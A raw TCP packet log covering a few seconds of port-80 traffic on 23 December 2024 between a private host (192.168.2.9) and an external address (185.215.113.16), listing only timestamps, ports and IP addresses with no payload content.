Dec 23, 2024 17:16:07.947189093 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.947227001 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:07.947813034 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.947854996 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:07.947959900 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.948003054 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:07.982291937 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.982377052 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.982414961 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:07.982435942 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:07.982640028 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.982682943 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:07.982763052 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.982804060 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:07.983593941 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.983639002 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:07.983721972 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.983824015 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:07.984244108 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.984288931 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:07.984401941 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.984451056 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:07.984967947 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:07.985021114 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.061024904 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.061142921 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.061184883 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.061217070 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.061397076 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.061469078 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.061563969 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.061606884 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.062494040 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.062555075 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.062588930 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.062639952 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.063328028 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.063347101 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.063389063 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.063389063 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.064086914 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.064132929 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.064136028 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.064224958 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.064759016 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.064836979 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.064863920 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.064924955 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.065638065 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.065753937 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.065773964 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.065813065 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.066453934 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.066509962 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.066580057 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.066685915 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.067358017 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.067430019 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.067460060 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.067523003 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.068129063 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.068185091 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.068214893 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.068259954 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.068994045 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.069102049 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.069113016 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.069206953 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.069885969 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.069952011 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.070000887 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.070046902 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.070729017 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.070775032 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.070888996 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.070991993 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.071520090 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.071593046 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.071672916 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.071813107 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.072423935 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.072468996 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.072501898 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.072501898 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.107196093 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.107212067 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.107280016 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.107280016 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.107434034 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.107532024 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.107563019 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.107563019 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.108264923 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.108397007 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.108432055 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.108508110 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.109142065 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.109170914 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.109471083 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.109544992 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.185719967 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.185782909 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:08.185820103 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:08.185820103 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:09.336639881 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:09.337023020 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:09.591900110 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:09.591916084 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:09.592030048 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:09.592091084 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:09.592358112 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:09.711975098 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:10.938585043 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:10.938673019 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:10.940354109 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.060719967 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.378654957 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.378711939 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.378721952 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.378774881 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.378803015 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.378844976 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.378916025 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.378928900 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.378959894 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.378987074 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.379332066 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.379344940 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.379358053 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.379375935 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.379412889 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.387300014 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.387562037 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.396049976 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.396122932 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.500216007 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.500335932 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.632112026 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.632172108 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.632188082 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.632220984 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.635879993 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.635935068 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.635950089 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.636018038 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.643879890 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.643946886 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.643965006 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.644005060 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.651417017 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.651472092 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.651477098 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.651573896 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.659343958 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.659396887 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.659528017 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.659568071 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.667251110 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.667309046 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.667376995 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.667418957 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.674690008 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.674748898 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.674825907 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.674864054 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.682493925 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.682507038 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.682547092 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.682563066 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.690237999 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.690293074 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.690315962 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.690356970 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.697943926 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.698023081 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.698096991 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.698136091 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.705657005 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.705703974 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.705768108 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.705816984 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.713331938 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.713418961 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.823755980 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.823832989 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.823851109 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.823885918 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.827018976 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.827032089 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.827081919 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.833395958 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.833441973 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.833581924 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.833622932 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.840023994 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.840038061 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.840075970 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.846602917 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.846652031 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.846779108 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.846818924 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.852591991 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.852659941 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.852732897 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.852776051 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.858314037 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.858375072 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.858378887 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.858431101 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.864770889 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.864824057 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.864833117 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.864877939 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.870961905 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.870975971 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.871016026 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.871032000 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.876694918 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.876760960 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.876800060 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.876846075 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.883018970 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.883085012 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.883167982 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.883208990 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.888943911 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.889022112 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.889101028 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.889147997 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.895215988 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.895276070 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.895354033 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.895399094 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.902087927 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.902148962 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.902374983 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.902425051 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.907592058 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.907646894 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.907687902 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.907727003 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.913508892 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.913557053 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.913747072 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.913789988 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.919768095 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.919821024 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.919934988 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.919974089 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.925767899 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.925823927 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.925873995 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.925915003 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.931893110 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.931946993 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.932025909 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.932065010 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.938069105 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.938122988 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.938149929 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.938189983 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.944235086 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.944304943 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.944339991 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.944380999 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:11.950234890 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:11.950294018 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.015877962 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.015921116 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.016011953 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.016372919 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.018326044 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.018388033 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.025005102 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.025023937 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.025038958 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.025055885 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.025075912 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.025075912 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.025135040 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.025135040 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.029936075 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.030015945 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.030141115 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.030241013 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.034415007 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.034502029 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.034535885 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.034584045 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.039110899 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.039179087 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.039246082 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.039316893 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.044008970 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.044024944 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.044080973 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.048440933 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.048513889 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.048610926 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.048651934 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.052756071 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.052829027 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.052900076 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.053014994 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.057178020 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.057333946 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.057352066 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.057411909 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.061338902 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.061353922 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.061388016 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.061419964 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.065525055 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.065571070 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.065606117 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.065606117 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.069576025 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.069598913 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.069641113 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.069641113 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.073707104 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.073781967 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.073786020 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.073848963 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.077544928 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.077658892 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.077689886 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.077794075 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.081429005 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.081496954 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.081520081 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.081557989 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.085284948 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.085350990 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.085585117 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.085676908 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.089174032 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.089360952 CET	49709	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:12.089385986 CET	80	49709	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:12.089432001 CET	49709	80	192.168.2.9	185.215.113.16
